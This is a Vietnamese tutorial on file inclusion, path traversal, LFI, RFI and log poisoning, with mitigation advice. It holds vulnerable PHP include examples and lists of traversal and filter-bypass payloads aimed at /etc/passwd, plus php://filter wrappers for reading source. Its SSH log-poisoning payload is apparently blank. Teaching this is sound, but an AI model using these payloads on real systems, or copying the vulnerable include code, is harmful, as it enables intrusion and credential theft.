---
# System prepended metadata

title: 'File Inclusion Vulnerability '

---

# File Inclusion
## Khái niệm
**Lỗ hổng File Inclusion** cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng *include*. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dữ liệu độc hại.

VD: các lệnh `include`, `require`, `include_once`, `require_once` cho phép việc file hiện tại có thể gọi ra 1 file khác.

## Hàm `inculde()`
Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác khi gọi hàm `include`. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Hàm `include()` thường được sử dụng nhằm thêm dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files.

**VD**
1. Một trang menu `menu.php` có dạng như sau:

```php
<?php 
echo 
   '<a href=”/home.asp”>HOME</a>
    <a href=”/details.asp”>DETAILS</a>
    <a href=”/contact.asp”>CONTACT US</a>'
    ;
?>
```
2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm `include()` trong `home.php`
```php
<html>
    <body>
        <div class ='menu'>
            <?php include 'menu.php';?>
            </div>
            <p>WELCOME</p>
    </body>
</html>
```
3. Giờ thì file `menu.php` đã được bao hàm trong file `home.php`, bất cứ khi nào `home.php` được truy cập, nội dung trong file `menu.php` sẽ được sao chép vào `home.php` và thực thi.

*Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm `include()`: Remote file inclusion (RFI) và Local file inclusion (LFI)*

**Lưu ý:** Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: `inlude_once(), require(), require_once()...`


# Path Traversal

## Khái niệm
**Path traversal** (Directory traversal) là một lỗ hổng web cho phép kẻ tấn công đọc các file không mong muốn trên server. Nó dẫn đến việc bị lộ thông tin nhạy cảm của ứng dụng như thông tin đăng nhập, một số file hoặc thư mục của hệ điều hành. 

Bằng cách sử dụng biến tham chiếu `../` và các biến thể của nó, hoặc bằng cách sử dụng các đường dẫn tệp tuyệt đối, có thể truy cập các tệp và thư mục được lưu trữ trên hệ thống bao gồm mã nguồn ứng dụng hoặc các tệp tin quan trọng.

![](https://hackmd.io/_uploads/SJmuUYIq3.png)

Như chúng ta thấy, để có thể đến được thư mục etc, chúng ta cần phải **sử dụng `../` để đại diện cho các thư mục đằng trước**.

## Ví dụ

```
https://hostname.abc/?filename=../../../etc/passwd
```

Khi đó ứng dụng sẽ đọc file với đường dẫn là `/var/www/images/../../../etc/passwd` với mỗi `../` là trở về thư mục cha của thư mục hiện tại. Như vậy với `../../../` thì từ thư mục `/var/www/images/` đã trở về thư mục gốc và file `/etc/passwd` chính là file được đọc.

* Trên các hệ điều hành dựa trên Unix thì `/etc/passwd/` là một file chứa thông tin về các người dùng.
* Trên Windows thì có thể dùng cả hai `../` và `..\` để thực hiện việc tấn công này.



Tham khảo 1 số file phổ biến:

* `/etc/passwd`: có tất cả người dùng đã đăng kí có quyền truy cập vào hệ thống.
* `/etc/shadow`: chứa thông tin về mật khẩu của người dùng trong hệ thống.
* `/root/.bash_history`: chứa các lệnh đã được thực thi của root
* `/proc/version`: chứa thông tin về phiên bản kernel của hệ thống

Ngoài ra có thể sử dụng:

* utf-8 unicode encoding
   * `.` = `%u002e`
   * `/` = `%c0%af`, `%e0%80%af`, `%c0%2f`
   * `\` = `%c0%5c`, `%c0%80%5c`
* 16-bit unicode encoding
  * `.` = `%u002e`
  * `/` = `%u2215`
  * `\` = `%u2216`
## Một số cách ngăn chặn
* Nên validate input của người dùng trước khi xử lý nó.
* Sử dụng whitelist cho những giá trị được cho phép.
* Hoặc tên file là những kí tự số, chữ không nên chứa những ký tự đặc biệt.

# Local file inclusion (LFI)
## Khái niệm

**Local file inclustion** (LFI) là kĩ thuật đọc file trong hệ thống, lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là `passwd`, `php.ini`, `access_log`, `config.php` ...

Khi đầu vào không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như `/`, `../`, `-`.

Ví dụ: nếu một ứng dụng được thiết kế để hiển thị hình ảnh tùy ý dựa trên tham số URL nhưng kẻ tấn công có thể sử dụng chức năng này để hiển thị mã nguồn ứng dụng thì ứng dụng đó có lỗ hổng LFI.

## Ví dụ
**1. Ví dụ**
```
 https://example-site.com/?module=contact.php
```
Có thể đổi thành
```
https://example-site.com/?module=/etc/passwd
```
Có thể thấy, phần `contact.php` đã được thay thế bằng `/etc/passwd`. Kẻ tấn công có thể xem mật khẩu, thông tin tên người dùng, nội dung của mọi thứ tùy thuộc vào những gì chúng đang tìm kiếm. Đó không phải là tất cả, vì các trường hợp nghiêm trọng hơn bao gồm việc đưa mã vào máy chủ web. 

Một số tin tặc có thể sử dụng lỗ hổng LFI để thực hiện một cuộc tấn công truyền tải thư mục/đường dẫn và sẽ toàn quyền truy cập vào `error.log`, `access.log` hoặc một số loại siêu dữ liệu nhạy cảm khác.

**2. Một ví dụ về mã PHP dễ bị LFI**
```php
<?php
// Get the filename from a GET input
// Example - http://example.com/?file=filename.php

$file = $_GET['file'];

// Unsafely include the file
// Example - filename.php

include('directory/' . $file);
```
Kẻ tấn công ở đây có thể đánh lừa ứng dụng thực thi tập lệnh PHP, chẳng hạn như web shell mà kẻ tấn công quản lý để tải lên máy chủ web.
```
http://example.com/?file=../../uploads/evil.php
```
Trong ví dụ này, tệp do kẻ tấn công tải lên sẽ được đưa vào và thực thi bởi người dùng chạy ứng dụng web. Điều đó sẽ cho phép kẻ tấn công chạy bất kỳ mã độc phía máy chủ nào mà chúng muốn.

**3. Ví dụ đầu vào được lấy từ đoạn mã với phần mở rộng mặc định là “.php”**

```php
<?php
"include/".include($_GET['testfile'].".php");
?>
``` 
Nếu tin tặc muốn truy cập một file không phải kiểu `text `chúng sẽ sử dụng một `%00` (kí tự byte rỗng sau tên của file).

```php=
https://victim_site/abc.php?testfile=../../../../etc/passwd%00
```
## Một số cách bypass
- **Traversal sequences stripped non-recursively**:
```htmlembedded
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
- **Null byte (`%00`)**: Bypass việc thêm nhiều ký tự vào cuối chuỗi được cung cấp (bypass: `$_GET['param']."php"`)
```htmlembedded
http://example.com/index.php?page=../../../etc/passwd%00
```
- **Encoding**: Bạn có thể sử dụng các mã hóa không chuẩn như mã hóa URL kép và một số mã hóa khác
```htmlembedded
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
- **Filter bypass tricks**:
```htmlembedded
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
- **Path and dot truncation**:
```htmlembedded
https://victim_site/home.php?file=../../../etc/passwd............[ADD MORE]
https://victim_site/home.php?file=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
https://victim_site/home.php?file=../../../etc/passwd/./././././.[ADD MORE] 
https://victim_site/home.php?file=../../../[ADD MORE]../../../../etc/passwd
```
- Using wrappers:
```htmlembedded
https://victim_site/home.php?file=php://filter/read=string.rot13/resource=index.php
https://victim_site/home.php?file=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
https://victim_site/home.php?file=php://filter/convert.base64-encode/resource=index.php
https://victim_site/home.php?file=pHp://FilTer/convert.base64-encode/resource=index.php
```
## Một số cách ngăn chặn

* **ID assignation** – lưu đường dẫn tệp của bạn trong cơ sở dữ liệu an toàn và cung cấp ID cho từng đường dẫn, theo cách này, người dùng chỉ nhìn thấy ID của họ mà không cần xem hoặc thay đổi đường dẫn
* **Whitelisting** – sử dụng các tệp whitelist đã được xác minh và bảo mật và bỏ qua mọi thứ khác
* **Use databases** – không bao gồm các tệp trên máy chủ web có thể bị xâm phạm, thay vào đó hãy sử dụng cơ sở dữ liệu
* **Better server instructions** – làm cho máy chủ tự động gửi các tiêu đề tải xuống thay vì thực thi các tệp trong một thư mục được chỉ định

# Khác nhau giữa LFI và Path Traversal


|  | Path Traversal |LFI |
| -------- | -------- | -------- |
|**Bản chất** | Cho phép kẻ tấn công **đọc** các tệp và thư mục bên ngoài thư mục dự định    | Cho phép kẻ tấn công **bao gồm hoặc thực thi và đọc** các tệp tùy ý từ máy chủ từ xa hoặc cục bộ   |
|**Tác động**|Có thể cho phép kẻ tấn công **truy cập** vào các tệp và thư mục nhạy cảm trên máy chủ, điều này có thể dẫn đến đánh cắp dữ liệu, chiếm đoạt máy chủ hoặc các hành động độc hại khác|Có thể cho phép kẻ tấn công **thực thi** một tệp tùy ý trên máy chủ, dẫn đến xâm phạm máy chủ hoàn toàn, đánh cắp dữ liệu hoặc các hành động độc hại khác. Việc thực thi được các codes trực tiếp trong ứng dụng có thể dẫn đến các cuộc tấn công nghiêm trọng khác như: RCE, XSS, ...|
|**Mức độ nghiêm trọng** |Ít nghiêm trọng hơn LFI|Nghiêm trọng hơn vì chúng cho phép thực thi mã từ xa|
|**Nguyên nhân**|Xảy ra khi ứng dụng không xác thực được đầu vào của người dùng được sử dụng để truy cập vào hệ thống tệp|Xảy ra khi đầu vào của người dùng được sử dụng để bao gồm các tệp từ máy chủ từ xa hoặc cục bộ mà không có xác thực thích hợp|


# Remote file inclusion (RFI)
## Khái niệm
**RFI** là kỹ thuật chèn vào hệ thống một file bất kỳ nào đó. Kẻ tấn công sẽ mở ra một file có chứa shell và khi hệ thống chạy file đó thì sẽ thực hiện ý đồ của hacker.

RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. 

Ảnh hưởng của kiểu tấn công này thay đổi từ việc đánh cắp tạm thời `session token` hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm xâm hại hoàn toàn hệ thống máy chủ.

Điều kiện để khai thác theo kiểu Remote File Inclusion là: Các biến `register_globals`, `allow_url_include` và `allow_url_fopen` trong file `PHP.ini` của Apache Server phải bật **ON**.

Hậu quả của một cuộc tấn công RFI thành công bao gồm: 
*   Tiết lộ thông tin nhạy cảm 
*   Cross-site Scripting (XSS) đến thực thi mã từ xa
*   Xâm phạm toàn bộ hệ thống

![](https://hackmd.io/_uploads/r1ImRR593.png)

# Sự khác biệt giữa RFI và LFI

Khác kiểu tấn công LFI, với RFI kẻ tấn công muốn thực hiện đoạn shell của mình thì phải gọi tới một file có dạng **text** chứ **không thể là file php được**. Vì khi sử dụng file php, trình duyệt của victim khi gọi ra file này sẽ đóng vai trò là một client, ứng với server sẽ là server đang chứa file gọi đến. Do đó các mã php trong file khi thực thi ở máy victim sẽ là html, dẫn đến ý đồ không thực hiện được.

![](https://hackmd.io/_uploads/SycI2bnch.png)


# LFI to RCE via Log Poisoning
Chuyển đổi LFI thành RCE có thể phức tạp hoặc thậm chí không thể thực hiện được trong nhiều trường hợp. Tùy thuộc vào cấu hình hệ thống, bạn có thể chuyển văn bản tùy ý, để ngôn ngữ phía máy chủ xử lý văn bản đó, sau đó xem văn bản đó.
## RCE
Lỗ hổng RCE cho phép kẻ tấn công thực thi lệnh từ xa trên hệ thống nạn nhân.

## Log Poisoning
Log Poisoning (hoặc Log injection) là một kỹ thuật cho phép kẻ tấn công giả mạo nội dung bằng cách chèn mã độc vào nhật ký máy chủ để thực thi lệnh từ xa hoặc để lấy một trình shell đảo ngược. Nó sẽ chỉ hoạt động khi ứng dụng đã tấn công bởi LFI.


## SSH
SSH viết tắt của Secure Shell, là một giao thức được sử dụng để kết nối và điều khiển một thiết bị. Nó cho phép bạn thực thi lệnh, quản lí thiết bị từ xa. Các lệnh đăng nhập vào thiết bị từ xa thông qua SSH như sau:
```php
ssh <user>@<ip/domain>
ssh <ip/domain> -l <user>
``` 
Khi người dùng cố gắng kết nối đến thiết bị thông qua SSH sẽ được ghi lại vào một tệp tin nhật ký kiểu như `auth.log`. Thông điệp được ghi lại phụ thuộc vào kết quả của một lần đăng nhập.
```php
//Đăng nhập thành công

Accepted password from  from  port ......

//Đăng nhập thất bại

Failed password from <user> from <ip> port ......
```
### Lây nhiễm thông qua SSH
Chúng ta sẽ kiểm soát tên đăng nhập đã có trong hệ thống. Tất cả những gì ta cần làm là tạo một dữ liệu nhật ký trong khi thực hiện đăng nhập đến máy chủ chứa các mã PHP như đã nói ở trên để sử dụng trong phần tiếp theo.
```php
ssh -l ""
```
Khi tạo ra một request như vậy, trong dữ liệu nhật ký của SSH sẽ tạo ra một dòng có nội dung như sau:
```php
Failed password from from from port .....
```

## Apache
**Apache** là một máy chủ web được sử dụng rất phổ biến để triển khai các hệ thống website. 

File log của apache server nằm ở thư mục `/var/log/apache2` (đối với ubuntu) và ở `/var/log/httpd` (đối với centOs)

Gồm hai tệp tin nhật ký chính: 
* Access log (Nhật ký truy cập): chứa thông tin về tất cả các yêu cầu được gửi lên máy chủ
* Error log (Nhật ký thông báo lỗi): chứa thông điệp lỗi của hệ thống

### Access log 
File log được lưu trữ tại `/var/log/httpd/access_log` (hoặc `/var/log/apache2/access.log`)

Định dạng log (LogFormat) cơ bản như sau là : `%h %l %u %t %r %>s %b Refer User_agent`. Trong đó:

* %h: địa chỉ của máy client
* %l: nhận dạng người dùng được xác định bởi identd (thường không SD vì không tin cậy)
* %u: tên người dung được xác định bằng xác thức HTTP
* %t: thời gian yêu cầu được nhận
* %r: là yêu cầu từ người sử dụng (client)
* %>s: mã trạng thái được gửi từ máy chủ đến máy khách
* %b: kích cỡ phản hồi đối với client
* Refer: tiêu đề Refeer của yêu cầu HTTP (chứa URL của trang mà yêu cầu này được khởi tạo)
* User_agent: chuỗi xác định trình duyệt

Ngoài ra còn có thêm 1 số trường khác như trong bảng định dạnh của file log như sau:

![](https://hackmd.io/_uploads/Skqud5a52.png)


 Cấu trúc của tệp tin chứa thông tin nhật ký truy cập tùy từng loại cấu hình mà có thể có các định dạng khác nhau, tuy nhiên về cơ bản nó cung cấp các thông tin tương tự như dòng dữ liệu dưới đây:
```htmlembedded
127.0.0.1 - - [06/Nov/2014:17:14:31  0100] "GET / HTTP/1.1" 200 7562 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36"
```
Chúng ta sẽ chia dòng dữ liệu này thành 3 phần:

1. `GET / HTTP/1.1`: Phương thức request
2.  `-`: Referer
3.  `Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36` : Thông tin về máy khách đã gửi yêu cầu đến (User agent).

Tất cả các giá trị này đều dễ dàng thay đổi bởi người dùng.
#### Ví dụ
![](https://hackmd.io/_uploads/rJyyF96cn.png)
- `172:16.79.202`: là địa chỉ IP của máy client truy cập tới apache server
- 2 trường `%l` `%u` không có giá trị sẽ hiển thị `-`
- `18/May/2017...` là thời gian nhận được yêu cầu từ client
- `GET/HTTP/1.1`: là yêu cầu từ client
- `404`: mã trạng thái gửi từ server đến client
- `209`: kich thước phản hồi lại client
- `http:/172.16.79.213`: url mà client yêu cầu tới server
- `Moliza ... Chrome, Safari`: là chuỗi định danh trình duyệt

### Error log
* Chứa thông tin về lỗi mà máy chủ web gặp phải khi xử lý các yêu cầu, chẳng hạn như khi tệp bị thiếu.
* Là nơi đầu tiên để xem xét khi xảy ra sự cố khi khởi động máy chủ hoặc với hoạt động của máy chủ vì nó thường chứa thông tin chi tiết về những gì xảy ra và cách khắc phục
* Nơi lưu trữ file log là `/var/log/httpd/error_lo`g (đối với centOs) và `/var/log/apache2/error.log` (đối với ubuntu)
* Định danh của error log tương đối tự do về mặt hình thức nhưng 1 số thông tin quan trọng có trong hầu hết các mục log như sau:
  * Trường thứ nhất: Trường thời gian - lưu thời gian nhận được message từ apache server
  * Trường thứ 2: liệt kê mức độ nghiêm trọng của lỗi được báo cáo
  * Trường thứ 3: Địa chỉ IP của client tạo ra lỗi
#### Ví dụ
![](https://hackmd.io/_uploads/Sk2aF9p5h.png)

Có thể thay đổi thư mục lưu trữ error log như đối với access log

Ngoài ra bạn còn có thể đổi tên file `error.log` thành tên bạn mong muốn bằng cách sửa file config trong file cấu hình của apache `/etc/apache2/apache2.conf`:

![](https://hackmd.io/_uploads/rJdcccaqn.png)

